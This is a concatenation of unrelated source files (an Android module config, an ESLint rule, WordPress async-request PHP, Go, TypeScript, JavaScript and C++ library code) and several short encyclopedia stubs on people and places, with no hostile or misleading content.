url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-core-utils/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-fragment/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-media-compat/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-v4/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-vector-drawable/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.facebook.fresco/drawee/0.11.0/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.facebook.fresco/fbcore/0.11.0/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.facebook.fresco/fresco/0.11.0/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.facebook.fresco/imagepipeline-base/0.11.0/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.facebook.fresco/imagepipeline/0.11.0/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.lzy.net/okhttputils/1.5.2/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.lzy.widget/view-core/0.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/in.srain.cube/ultra-ptr/1.0.11/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/org.xutils/xutils/3.3.36/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/incremental" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/incremental-safeguard" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/jniLibs" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/manifests" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/pre-dexed" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/res" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/rs" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/shaders" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/symbols" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/transforms" /> <excludeFolder url="file://$MODULE_DIR$/build/outputs" /> <excludeFolder url="file://$MODULE_DIR$/build/tmp" /> </content> <orderEntry type="jdk" jdkName="Android API 24 Platform" jdkType="Android SDK" /> <orderEntry type="sourceFolder" forTests="false" /> <orderEntry type="library" exported="" name="butterknife-7.0.1" level="project" /> <orderEntry type="library" exported="" name="support-v4-24.2.1" level="project" /> <orderEntry type="library" exported="" name="support-compat-24.2.1" level="project" /> <orderEntry type="library" exported="" name="animated-vector-drawable-24.2.1" level="project" /> <orderEntry type="library" exported="" name="support-fragment-24.2.1" level="project" /> <orderEntry type="library" exported="" name="okio-1.6.0" level="project" /> <orderEntry type="library" exported="" name="picasso-2.5.2" level="project" /> <orderEntry type="library" exported="" name="fresco-0.11.0" level="project" /> <orderEntry type="library" exported="" name="drawee-0.11.0" level="project" /> <orderEntry type="library" exported="" name="gson-2.6.2" level="project" /> <orderEntry type="library" exported="" name="okhttputils-1.5.2" level="project" /> <orderEntry type="library" exported="" name="ultra-ptr-1.0.11" level="project" /> <orderEntry type="library" exported="" name="bolts-tasks-1.4.0" level="project" /> <orderEntry type="library" exported="" name="glide-3.7.0" level="project" /> <orderEntry type="library" exported="" name="fbcore-0.11.0" level="project" /> <orderEntry type="library" exported="" name="support-media-compat-24.2.1" level="project" /> <orderEntry type="library" exported="" name="imagepipeline-0.11.0" level="project" /> <orderEntry type="library" exported="" name="library-2.4.0" level="project" /> <orderEntry type="library" exported="" name="support-core-ui-24.2.1" level="project" /> <orderEntry type="library" exported="" name="imagepipeline-base-0.11.0" level="project" /> <orderEntry type="library" exported="" name="recyclerview-v7-24.2.1" level="project" /> <orderEntry type="library" exported="" name="appcompat-v7-24.2.1" level="project" /> <orderEntry type="library" exported="" name="support-vector-drawable-24.2.1" level="project" /> <orderEntry type="library" exported="" name="support-core-utils-24.2.1" level="project" /> <orderEntry type="library" exported="" name="universal-image-loader-1.9.5" level="project" /> <orderEntry type="library" exported="" name="xutils-3.3.36" level="project" /> <orderEntry type="library" exported="" name="support-annotations-24.2.1" level="project" /> <orderEntry type="library" exported="" name="view-core-0.2.1" level="project" /> <orderEntry type="library" exported="" name="okhttp-3.2.0" level="project" /> <orderEntry type="module" module-name="ninegridview" exported="" /> <orderEntry type="library" exported="" name="library-1.2.4" level="project" /> </component> </module> ```
```javascript "use strict"; const MESSAGE_ID = "jsx-identifier-case"; // To ignore variables, config eslint like this // {'prettier-internal-rules/jsx-identifier-case': ['error', 'name1', ... 'nameN']} module.exports = { meta: { type: "suggestion", docs: { url: "path_to_url", }, messages: { [MESSAGE_ID]: "Please rename '{{name}}' to '{{fixed}}'.", }, fixable: "code", schema: { type: "array", uniqueItems: true, }, }, create(context) { const ignored = new Set(context.options); return { "Identifier[name=/JSX/]:not(ObjectExpression > Property.properties > .key)"( node, ) { const { name } = node; if (ignored.has(name)) { return; } const fixed = name.replaceAll("JSX", "Jsx"); context.report({ node, messageId: MESSAGE_ID, data: { name, fixed }, fix: (fixer) => fixer.replaceText(node, fixed), }); }, }; }, }; ```
```php <?php namespace Elementor\Core\Base\BackgroundProcess; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * path_to_url GPL v2.0 * * WP Async Request * * @package WP-Background-Processing */ /** * Abstract WP_Async_Request class. * * @abstract */ abstract class WP_Async_Request { /** * Prefix * * (default value: 'wp') * * @var string * @access protected */ protected $prefix = 'wp'; /** * Action * * (default value: 'async_request') * * @var string * @access protected */ protected $action = 'async_request'; /** * Identifier * * @var mixed * @access protected */ protected $identifier; /** * Data * * (default value: array()) * * @var array * @access protected */ protected $data = array(); /** * Initiate new async request */ public function __construct() { $this->identifier = $this->prefix . '_' . $this->action; add_action( 'wp_ajax_' . $this->identifier, array( $this, 'maybe_handle' ) ); add_action( 'wp_ajax_nopriv_' . $this->identifier, array( $this, 'maybe_handle' ) ); } /** * Set data used during the request * * @param array $data Data. * * @return $this */ public function data( $data ) { $this->data = $data; return $this; } /** * Dispatch the async request * * @return array|\WP_Error */ public function dispatch() { $url = add_query_arg( $this->get_query_args(), $this->get_query_url() ); $args = $this->get_post_args(); return wp_remote_post( esc_url_raw( $url ), $args ); } /** * Get query args * * @return array */ protected function get_query_args() { if ( property_exists( $this, 'query_args' ) ) { return $this->query_args; } return array( 'action' => $this->identifier, 'nonce' => wp_create_nonce( $this->identifier ), ); } /** * Get query URL * * @return string */ protected function get_query_url() { if ( property_exists( $this, 'query_url' ) ) { return $this->query_url; } return admin_url( 'admin-ajax.php' ); } /** * Get post args * * @return array */ protected function get_post_args() { if ( property_exists( $this, 'post_args' ) ) { return $this->post_args; } return array( 'timeout' => 0.01, 'blocking' => false, 'body' => $this->data, 'cookies' => $_COOKIE, /** This filter is documented in wp-includes/class-wp-http-streams.php */ 'sslverify' => apply_filters( 'https_local_ssl_verify', false ), ); } /** * Maybe handle * * Check for correct nonce and pass to handler. */ public function maybe_handle() { // Don't lock up other requests while processing session_write_close(); check_ajax_referer( $this->identifier, 'nonce' ); $this->handle(); wp_die(); } /** * Handle * * Override this method to perform any actions required * during the async request. */ abstract protected function handle(); } ```
The Taganrog Old Cemetery is a historic cemetery on the outskirts of Taganrog's historical downtown district that was closed for new burials in 1971. History The cemetery was officially established in 1809 as a Christian cemetery, although the site has already had some burials. In 1810 the All Saints' Church in Taganrog on the cemetery's land was founded, which was consecrated and completed in 1824. After Taganrog had been captured by the Red Army in late 1919, the cemetery was used for all interments. After the Second World War, several monuments and a traditional Soviet eternal flame were established on the cemetery territory. On May 25, 1971 the cemetery was closed for new interments. In 1980's some of the older monuments were saved from destruction and desecration by being transferred into the inner yard of the Taganrog Museum of Art. Current state Despite the inclusion of the historic cemetery into the register of architectural monuments, it has been severely damaged, looted and littered. Prominent people buried in Taganrog Old Cemetery Paul von Rennenkampff – Baltic German general Saint Pavel of Taganrog (later relics transferred into St. Nicholas Church, Taganrog) Seraphima Blonskaya – Russian artist Lev Kulchitsky – Russian admiral, 13th Governor of Taganrog Konstantin Igelström – Decembrist Ivan Vasilenko – Soviet writer Alexander Lakier – founder of Russian heraldry Anatoly Durov – animal trainer External links and references В.С.Кукушин, А.И.Николаенко "Таганрогский некрополь XIX–XXвв. Историко–художественный очерк", Таганрог, "Лукоморье" 2006 Таганрог. Энциклопедия, Таганрог, издательство АНТОН, 2008 Buildings and structures in Taganrog Eastern Orthodox cemeteries in Russia Cemeteries in Russia Cultural heritage monuments in Taganrog Cultural heritage monuments of regional significance in Rostov Oblast
Fu Tianyu (;born 16 July 1978) is a Chinese short track speed skater. She competed in two events at the 2006 Winter Olympics. References External links 1978 births Living people Chinese female short track speed skaters Olympic short track speed skaters for China Short track speed skaters at the 2006 Winter Olympics Sportspeople from Heilongjiang Asian Games medalists in short track speed skating Short track speed skaters at the 2003 Asian Winter Games Short track speed skaters at the 2007 Asian Winter Games Medalists at the 2003 Asian Winter Games Medalists at the 2007 Asian Winter Games Asian Games gold medalists for China Asian Games silver medalists for China 21st-century Chinese women
Drew Westervelt (born April 25, 1985 in Bel Air, Maryland) is a former lacrosse player in the National Lacrosse League and Major League Lacrosse. College career Westervelt attended the University of Maryland, Baltimore County, where, as a senior, he was the nation's fifth-leading scorer. Entrepreneurship In April 2014, Westervelt launched a new company HEX Performance based in Baltimore, Maryland. The company produces "HEX" removes that sweaty smell leftover in performance synthetic fabrics. HEX is now being sold at Wegmans, Whole Foods Market, Harris Teeter, Shoprite, and Canadian Tire. Professional career MLL Westervelt was selected by the Denver Outlaws fourth overall in the 2007 MLL Collegiate Draft. In 2011 he was traded to the Chesapeake Bayhawks, then in 2016 to the New York Lizards. NLL He was acquired by the Philadelphia Wings in the third round (37th overall) in the 2007 National Lacrosse League entry draft. During the 2009 NLL season, he was named to the All-Star Game as an injury replacement. On September 13, 2013, Westervelt was traded to the Colorado Mammoth for Ryan Hotaling and draft picks. He was not included in the published final roster for Colorado, so his status with that team is not known. Statistics MLL NLL University of Maryland, Baltimore County References 1985 births Living people American lacrosse players Colorado Mammoth players Major League Lacrosse players National Lacrosse League All-Stars People from Bel Air, Maryland Philadelphia Wings players UMBC Retrievers men's lacrosse players
Stare Miasto () is a village in the administrative district of Gmina Leżajsk, within Leżajsk County, Subcarpathian Voivodeship, in south-eastern Poland. It lies approximately north-west of Leżajsk and north-east of the regional capital Rzeszów. It was the former location of the nearby town of Leżajsk, which was eventually moved to its present location in 1524 by Polish King Sigismund I the Old. Afterwards, as Stare Miasto ("Old Town") it was a royal village of the Polish Crown. References Stare Miasto
The Meleager Painter was an ancient Greek vase painter of the Attic red-figure style. He was active in the first third of the 4th century BC. The Meleager Painter followed a tradition started by a group of slightly earlier artists, such as the Mikion Painter. He is probably the most important painter of his generation. He painted a wide variety of vase shapes, including even kylikes, a rarity among his contemporaries. His conventional name is derived from several vases depicting hunters, including Atalante and her lover Meleagros. Colonette kraters and bell kraters by him normally bear Dionysiac motifs. Like other painters of his time, he liked to paint figures wearing oriental garb. The tondos inside his kylikes are often framed by wreaths. They mostly depict groups of deities or individual gods. The outsides of kylikes and the paintings on the backs of other vases by him are often of inferior quality. Bibliography John D. Beazley. Attic Red Figure Vase Painters. Oxford: Clarendon Press, 1963. John Boardman. Rotfigurige Vasen aus Athen. Die klassische Zeit, Philipp von Zabern, Mainz, 1991 (Kulturgeschichte der Antiken Welt, Band 48), besonders, p. 176 . External links Works at the Metropolitan Museum of Art Works at the Getty Museum 4th-century BC deaths Ancient Greek vase painters Anonymous artists of antiquity People from Attica Year of birth unknown
```xml import { ClassTransformer } from '../ClassTransformer'; import { ClassTransformOptions } from '../interfaces'; /** * Transform the object from class to plain object and return only with the exposed properties. * * Can be applied to functions and getters/setters only. */ export function TransformInstanceToPlain(params?: ClassTransformOptions): MethodDecorator { return function (target: Record<string, any>, propertyKey: string | Symbol, descriptor: PropertyDescriptor): void { const classTransformer: ClassTransformer = new ClassTransformer(); const originalMethod = descriptor.value; descriptor.value = function (...args: any[]): Record<string, any> { const result: any = originalMethod.apply(this, args); const isPromise = !!result && (typeof result === 'object' || typeof result === 'function') && typeof result.then === 'function'; return isPromise ? result.then((data: any) => classTransformer.instanceToPlain(data, params)) : classTransformer.instanceToPlain(result, params); }; }; } ```
```go // _ _ // __ _____ __ ___ ___ __ _| |_ ___ // \ \ /\ / / _ \/ _` \ \ / / |/ _` | __/ _ \ // \ V V / __/ (_| |\ V /| | (_| | || __/ // \_/\_/ \___|\__,_| \_/ |_|\__,_|\__\___| // // // CONTACT: hello@weaviate.io // package ask import ( "context" "github.com/weaviate/weaviate/entities/modulecapabilities" "github.com/weaviate/weaviate/entities/moduletools" ) type vectorFromAskParam struct { nearTextDep modulecapabilities.Dependency } func (s *vectorFromAskParam) vectorForAskParamFn(ctx context.Context, params interface{}, className string, findVectorFn modulecapabilities.FindVectorFn, cfg moduletools.ClassConfig, ) ([]float32, error) { return s.vectorFromAskParam(ctx, params.(*AskParams), className, findVectorFn, cfg) } func (s *vectorFromAskParam) vectorFromAskParam(ctx context.Context, params *AskParams, className string, findVectorFn modulecapabilities.FindVectorFn, cfg moduletools.ClassConfig, ) ([]float32, error) { arg := s.nearTextDep.GraphQLArgument() rawNearTextParam := map[string]interface{}{} rawNearTextParam["concepts"] = []interface{}{params.Question} nearTextParam, _, _ := arg.ExtractFunction(rawNearTextParam) vectorSearchFn := s.nearTextDep.VectorSearch() return vectorSearchFn(ctx, nearTextParam, className, findVectorFn, cfg) } type Searcher struct { // nearText modules dependencies nearTextDeps []modulecapabilities.Dependency } func NewSearcher(nearTextDeps []modulecapabilities.Dependency) *Searcher { return &Searcher{nearTextDeps} } func (s *Searcher) VectorSearches() map[string]modulecapabilities.ArgumentVectorForParams { vectorSearchers := map[string]modulecapabilities.ArgumentVectorForParams{} for _, nearTextDep := range s.nearTextDeps { vectorSearchers[nearTextDep.ModuleName()] = s.vectorSearches(nearTextDep) } return vectorSearchers } func (s *Searcher) vectorSearches(nearTextDep modulecapabilities.Dependency) map[string]modulecapabilities.VectorForParams { vectorSearches := map[string]modulecapabilities.VectorForParams{} vectorFromAsk := &vectorFromAskParam{nearTextDep} vectorSearches["ask"] = vectorFromAsk.vectorForAskParamFn return vectorSearches } ```
```xml import { AttributeType, Table } from "aws-cdk-lib/aws-dynamodb"; import { Construct } from "constructs"; export interface AppDatabaseProps {} export class AppDatabase extends Construct { static readonly KEY = "comment_key"; static readonly INDEX = "sentiment"; table: Table; constructor(scope: Construct, {}: AppDatabaseProps = {}) { super(scope, "ddb"); this.table = new Table(this, "Comments", { partitionKey: { name: AppDatabase.KEY, type: AttributeType.STRING }, sortKey: { name: AppDatabase.INDEX, type: AttributeType.STRING, }, }); } } ```
```javascript const util = require('util'); const { Client } = require('..'); // or require('tplink-smarthome-api') const client = new Client(); const logEvent = function logEvent(eventName, device, state) { const stateString = state != null ? util.inspect(state) : ''; console.log( `${new Date().toISOString()} ${eventName} ${device.model} ${device.host}:${ device.port } ${stateString}`, ); }; // Client events `device-*` also have `bulb-*` and `plug-*` counterparts. // Use those if you want only events for those types and not all devices. client.on('device-new', (device) => { logEvent('device-new', device); // Poll device every 5 seconds setTimeout(function pollDevice() { device.getInfo().then((data) => { console.log(data); setTimeout(pollDevice, 5000); }); }, 5000); // Device (Common) Events device.on('emeter-realtime-update', (emeterRealtime) => { logEvent('emeter-realtime-update', device, emeterRealtime); }); // Plug Events device.on('power-on', () => { logEvent('power-on', device); }); device.on('power-off', () => { logEvent('power-off', device); }); device.on('power-update', (powerOn) => { logEvent('power-update', device, powerOn); }); device.on('in-use', () => { logEvent('in-use', device); }); device.on('not-in-use', () => { logEvent('not-in-use', device); }); device.on('in-use-update', (inUse) => { logEvent('in-use-update', device, inUse); }); // Bulb Events device.on('lightstate-on', (lightstate) => { logEvent('lightstate-on', device, lightstate); }); device.on('lightstate-off', (lightstate) => { logEvent('lightstate-off', device, lightstate); }); device.on('lightstate-change', (lightstate) => { logEvent('lightstate-change', device, lightstate); }); device.on('lightstate-update', (lightstate) => { logEvent('lightstate-update', device, lightstate); }); }); client.on('device-online', (device) => { logEvent('device-online', device); }); client.on('device-offline', (device) => { logEvent('device-offline', device); }); console.log('Starting Device Discovery'); client.startDiscovery(); ```
```go // // // path_to_url // // Unless required by applicable law or agreed to in writing, software // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. package client import ( "bytes" "compress/gzip" "context" "encoding/json" "errors" "fmt" "io" "net/http" "runtime" "strings" "time" "github.com/google/go-querystring/query" "github.com/opentracing/opentracing-go" "github.com/pulumi/pulumi/pkg/v3/util/tracing" "github.com/pulumi/pulumi/pkg/v3/version" "github.com/pulumi/pulumi/sdk/v3/go/common/apitype" "github.com/pulumi/pulumi/sdk/v3/go/common/diag" "github.com/pulumi/pulumi/sdk/v3/go/common/tokens" "github.com/pulumi/pulumi/sdk/v3/go/common/util/contract" "github.com/pulumi/pulumi/sdk/v3/go/common/util/httputil" "github.com/pulumi/pulumi/sdk/v3/go/common/util/logging" ) const ( apiRequestLogLevel = 10 // log level for logging API requests and responses apiRequestDetailLogLevel = 11 // log level for logging extra details about API requests and responses ) func UserAgent() string { return fmt.Sprintf("pulumi-cli/1 (%s; %s)", version.Version, runtime.GOOS) } // StackIdentifier is the set of data needed to identify a Pulumi Cloud stack. type StackIdentifier struct { Owner string Project string Stack tokens.StackName } func (s StackIdentifier) String() string { return fmt.Sprintf("%s/%s/%s", s.Owner, s.Project, s.Stack) } // UpdateIdentifier is the set of data needed to identify an update to a Pulumi Cloud stack. type UpdateIdentifier struct { StackIdentifier UpdateKind apitype.UpdateKind UpdateID string } // accessTokenKind is enumerates the various types of access token used with the Pulumi API. These kinds correspond // directly to the "method" piece of an HTTP `Authorization` header. type accessTokenKind string const ( // accessTokenKindAPIToken denotes a standard Pulumi API token. accessTokenKindAPIToken accessTokenKind = "token" // accessTokenKindUpdateToken denotes an update lease token. accessTokenKindUpdateToken accessTokenKind = "update-token" ) // accessToken is an abstraction over the two different kinds of access tokens used by the Pulumi API. type accessToken interface { Kind() accessTokenKind Get(ctx context.Context) (string, error) } type httpCallOptions struct { // RetryPolicy defines the policy for retrying requests by httpClient.Do. // // By default, only GET requests are retried. RetryPolicy retryPolicy // GzipCompress compresses the request using gzip before sending it. GzipCompress bool // Header is any additional headers to add to the request. Header http.Header // ErrorResponse is an optional response body for errors. ErrorResponse any } // apiAccessToken is an implementation of accessToken for Pulumi API tokens (i.e. tokens of kind // accessTokenKindAPIToken) type apiAccessToken string func (apiAccessToken) Kind() accessTokenKind { return accessTokenKindAPIToken } func (t apiAccessToken) Get(_ context.Context) (string, error) { return string(t), nil } // UpdateTokenSource allows the API client to request tokens for an in-progress update as near as possible to the // actual API call (e.g. after marshaling, etc.). type UpdateTokenSource interface { GetToken(ctx context.Context) (string, error) } type updateTokenStaticSource string func (t updateTokenStaticSource) GetToken(_ context.Context) (string, error) { return string(t), nil } // updateToken is an implementation of accessToken for update lease tokens (i.e. tokens of kind // accessTokenKindUpdateToken) type updateToken struct { source UpdateTokenSource } func updateAccessToken(source UpdateTokenSource) updateToken { return updateToken{source: source} } func (updateToken) Kind() accessTokenKind { return accessTokenKindUpdateToken } func (t updateToken) Get(ctx context.Context) (string, error) { return t.source.GetToken(ctx) } func float64Ptr(f float64) *float64 { return &f } func durationPtr(d time.Duration) *time.Duration { return &d } func intPtr(i int) *int { return &i } // retryPolicy defines the policy for retrying requests by httpClient.Do. type retryPolicy int const ( // retryNone indicates that no retry should be attempted. retryNone retryPolicy = iota - 1 // retryGetMethod indicates that only GET requests should be retried. // // This is the default retry policy. retryGetMethod // == 0 // retryAllMethods indicates that all requests should be retried. retryAllMethods ) func (p retryPolicy) String() string { switch p { case retryNone: return "none" case retryGetMethod: return "get" case retryAllMethods: return "all" default: return fmt.Sprintf("retryPolicy(%d)", p) } } func (p retryPolicy) shouldRetry(req *http.Request) bool { switch p { case retryNone: return false case retryGetMethod: return req.Method == http.MethodGet case retryAllMethods: return true default: contract.Failf("unknown retry policy: %v", p) return false // unreachable } } // httpClient is an HTTP client abstraction, used by defaultRESTClient. type httpClient interface { Do(req *http.Request, policy retryPolicy) (*http.Response, error) } // defaultHTTPClient is an implementation of httpClient that provides a basic implementation of Do // using the specified *http.Client, with retry support. type defaultHTTPClient struct { client *http.Client } func (c *defaultHTTPClient) Do(req *http.Request, policy retryPolicy) (*http.Response, error) { // Wait 1s before retrying on failure. Then increase by 2x until the // maximum delay is reached. Stop after maxRetryCount requests have // been made. opts := httputil.RetryOpts{ Delay: durationPtr(time.Second), Backoff: float64Ptr(2.0), MaxDelay: durationPtr(30 * time.Second), MaxRetryCount: intPtr(4), HandshakeTimeoutsOnly: !policy.shouldRetry(req), } return httputil.DoWithRetryOpts(req, c.client, opts) } // pulumiAPICall makes an HTTP request to the Pulumi API. func pulumiAPICall(ctx context.Context, requestSpan opentracing.Span, d diag.Sink, client httpClient, cloudAPI, method, path string, body []byte, tok accessToken, opts httpCallOptions, ) (string, *http.Response, error) { // Normalize URL components cloudAPI = strings.TrimSuffix(cloudAPI, "/") path = cleanPath(path) url := fmt.Sprintf("%s%s", cloudAPI, path) var bodyReader io.Reader if opts.GzipCompress { // If we're being asked to compress the payload, go ahead and do it here to an intermediate buffer. // // If this becomes a performance bottleneck, we may want to consider marshaling json directly to this // gzip.Writer instead of marshaling to a byte array and compressing it to another buffer. logging.V(apiRequestDetailLogLevel).Infoln("compressing payload using gzip") var buf bytes.Buffer writer := gzip.NewWriter(&buf) defer contract.IgnoreClose(writer) if _, err := writer.Write(body); err != nil { return "", nil, fmt.Errorf("compressing payload: %w", err) } // gzip.Writer will not actually write anything unless it is flushed, // and it will not actually write the GZip footer unless it is closed. (Close also flushes) // Without this, the compressed bytes do not decompress properly e.g. in python. if err := writer.Close(); err != nil { return "", nil, fmt.Errorf("closing compressed payload: %w", err) } logging.V(apiRequestDetailLogLevel).Infof("gzip compression ratio: %f, original size: %d bytes", float64(len(body))/float64(len(buf.Bytes())), len(body)) bodyReader = &buf } else { bodyReader = bytes.NewReader(body) } req, err := http.NewRequest(method, url, bodyReader) if err != nil { return "", nil, fmt.Errorf("creating new HTTP request: %w", err) } req = req.WithContext(ctx) req.Header.Set("Content-Type", "application/json") // Set headers from the incoming options. for k, v := range opts.Header { req.Header[k] = v } // Add a User-Agent header to allow for the backend to make breaking API changes while preserving // backwards compatibility. req.Header.Set("User-Agent", UserAgent()) // Specify the specific API version we accept. req.Header.Set("Accept", "application/vnd.pulumi+8") // Apply credentials if provided. creds, err := tok.Get(ctx) if err != nil { return "", nil, fmt.Errorf("fetching credentials: %w", err) } if creds != "" { req.Header.Set("Authorization", fmt.Sprintf("%s %s", tok.Kind(), creds)) } tracingOptions := tracing.OptionsFromContext(ctx) if tracingOptions.PropagateSpans { carrier := opentracing.HTTPHeadersCarrier(req.Header) if err = requestSpan.Tracer().Inject(requestSpan.Context(), opentracing.HTTPHeaders, carrier); err != nil { logging.Errorf("injecting tracing headers: %v", err) } } if tracingOptions.TracingHeader != "" { req.Header.Set("X-Pulumi-Tracing", tracingOptions.TracingHeader) } // Opt-in to accepting gzip-encoded responses from the service. req.Header.Set("Accept-Encoding", "gzip") if opts.GzipCompress { // If we're sending something that's gzipped, set that header too. req.Header.Set("Content-Encoding", "gzip") } logging.V(apiRequestLogLevel).Infof("Making Pulumi API call: %s", url) if logging.V(apiRequestDetailLogLevel) { logging.V(apiRequestDetailLogLevel).Infof( "Pulumi API call details (%s): headers=%v; body=%v", url, req.Header, string(body)) } resp, err := client.Do(req, opts.RetryPolicy) if err != nil { // Don't wrap *apitype.ErrorResponse. if _, ok := err.(*apitype.ErrorResponse); ok { return "", nil, err } return "", nil, fmt.Errorf("performing HTTP request: %w", err) } logging.V(apiRequestLogLevel).Infof("Pulumi API call response code (%s): %v", url, resp.Status) requestSpan.SetTag("responseCode", resp.Status) if warningHeader, ok := resp.Header["X-Pulumi-Warning"]; ok { for _, warning := range warningHeader { d.Warningf(diag.RawMessage("", warning)) } } // Provide a better error if using an authenticated call without having logged in first. if resp.StatusCode == 401 && tok.Kind() == accessTokenKindAPIToken && creds == "" { return "", nil, errors.New("this command requires logging in; try running `pulumi login` first") } // Provide a better error if rate-limit is exceeded(429: Too Many Requests) if resp.StatusCode == 429 { return "", nil, errors.New("pulumi service: request rate-limit exceeded") } // For 4xx and 5xx failures, attempt to provide better diagnostics about what may have gone wrong. if resp.StatusCode >= 400 && resp.StatusCode <= 599 { // 4xx and 5xx responses should be of type ErrorResponse. See if we can unmarshal as that // type, and if not just return the raw response text. respBody, err := readBody(resp) if err != nil { return "", nil, fmt.Errorf("API call failed (%s), could not read response: %w", resp.Status, err) } return "", nil, decodeError(respBody, resp.StatusCode, opts) } return url, resp, nil } func decodeError(respBody []byte, statusCode int, opts httpCallOptions) error { if opts.ErrorResponse != nil { if err := json.Unmarshal(respBody, opts.ErrorResponse); err == nil { return opts.ErrorResponse.(error) } } var errResp apitype.ErrorResponse if err := json.Unmarshal(respBody, &errResp); err != nil { errResp.Code = statusCode errResp.Message = strings.TrimSpace(string(respBody)) } return &errResp } // restClient is an abstraction for calling the Pulumi REST API. type restClient interface { Call(ctx context.Context, diag diag.Sink, cloudAPI, method, path string, queryObj, reqObj, respObj interface{}, tok accessToken, opts httpCallOptions) error } // defaultRESTClient is the default implementation for calling the Pulumi REST API. type defaultRESTClient struct { client httpClient } // Call calls the Pulumi REST API marshalling reqObj to JSON and using that as // the request body (use nil for GETs), and if successful, marshalling the responseObj // as JSON and storing it in respObj (use nil for NoContent). The error return type might // be an instance of apitype.ErrorResponse, in which case will have the response code. func (c *defaultRESTClient) Call(ctx context.Context, diag diag.Sink, cloudAPI, method, path string, queryObj, reqObj, respObj interface{}, tok accessToken, opts httpCallOptions, ) error { requestSpan, ctx := opentracing.StartSpanFromContext(ctx, getEndpointName(method, path), opentracing.Tag{Key: "method", Value: method}, opentracing.Tag{Key: "path", Value: path}, opentracing.Tag{Key: "api", Value: cloudAPI}, opentracing.Tag{Key: "retry", Value: opts.RetryPolicy.String()}) defer requestSpan.Finish() // Compute query string from query object querystring := "" if queryObj != nil { queryValues, err := query.Values(queryObj) if err != nil { return fmt.Errorf("marshalling query object as JSON: %w", err) } query := queryValues.Encode() if len(query) > 0 { querystring = "?" + query } } // Compute request body from request object var reqBody []byte var err error if reqObj != nil { // Send verbatim if already marshalled. This is // important when sending indented JSON is needed. if raw, ok := reqObj.(json.RawMessage); ok { reqBody = []byte(raw) } else { reqBody, err = json.Marshal(reqObj) if err != nil { return fmt.Errorf("marshalling request object as JSON: %w", err) } } } // Make API call url, resp, err := pulumiAPICall( ctx, requestSpan, diag, c.client, cloudAPI, method, path+querystring, reqBody, tok, opts) if err != nil { return err } if respPtr, ok := respObj.(**http.Response); ok { *respPtr = resp return nil } // Read API response respBody, err := readBody(resp) if err != nil { return fmt.Errorf("reading response from API: %w", err) } if logging.V(apiRequestDetailLogLevel) { logging.V(apiRequestDetailLogLevel).Infof("Pulumi API call response body (%s): %v", url, string(respBody)) } if respObj != nil { switch respObj := respObj.(type) { case *[]byte: // Return the raw bytes of the response body. *respObj = respBody case []byte: return errors.New("Can't unmarshal response body to []byte. Try *[]byte") default: // Else, unmarshal as JSON. if err = json.Unmarshal(respBody, respObj); err != nil { return fmt.Errorf("unmarshalling response object: %w", err) } } } return nil } // readBody reads the contents of an http.Response into a byte array, returning an error if one occurred while in the // process of doing so. readBody uses the Content-Encoding of the response to pick the correct reader to use. func readBody(resp *http.Response) ([]byte, error) { contentEncoding, ok := resp.Header["Content-Encoding"] defer contract.IgnoreClose(resp.Body) if !ok { // No header implies that there's no additional encoding on this response. return io.ReadAll(resp.Body) } if len(contentEncoding) > 1 { // We only know how to deal with gzip. We can't handle additional encodings layered on top of it. return nil, fmt.Errorf("can't handle content encodings %v", contentEncoding) } switch contentEncoding[0] { case "x-gzip": // The HTTP/1.1 spec recommends we treat x-gzip as an alias of gzip. fallthrough case "gzip": logging.V(apiRequestDetailLogLevel).Infoln("decompressing gzipped response from service") reader, err := gzip.NewReader(resp.Body) if reader != nil { defer contract.IgnoreClose(reader) } if err != nil { return nil, fmt.Errorf("reading gzip-compressed body: %w", err) } return io.ReadAll(reader) default: return nil, fmt.Errorf("unrecognized encoding %s", contentEncoding[0]) } } ```
```c++ /******************************************************************************* * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *******************************************************************************/ #include "cpu/aarch64/acl_winograd_convolution.hpp" namespace dnnl { namespace impl { namespace cpu { namespace aarch64 { status_t acl_wino_convolution_fwd_t::execute_forward( const exec_ctx_t &ctx) const { // Lock here is needed because resource_mapper does not support // concurrent multithreaded access. std::lock_guard<std::mutex> _lock {this->mtx}; // Retrieve primitive resource and configured Compute Library objects auto *acl_resource = ctx.get_resource_mapper()->get<acl_wino_resource_t>(this); acl_obj_t<arm_compute::NEWinogradConvolutionLayer> &acl_wino_obj = acl_resource->get_acl_obj(); return execute_forward_conv_acl< acl_obj_t<arm_compute::NEWinogradConvolutionLayer>, pd_t, data_t>( ctx, acl_wino_obj, pd()); } } // namespace aarch64 } // namespace cpu } // namespace impl } // namespace dnnl ```
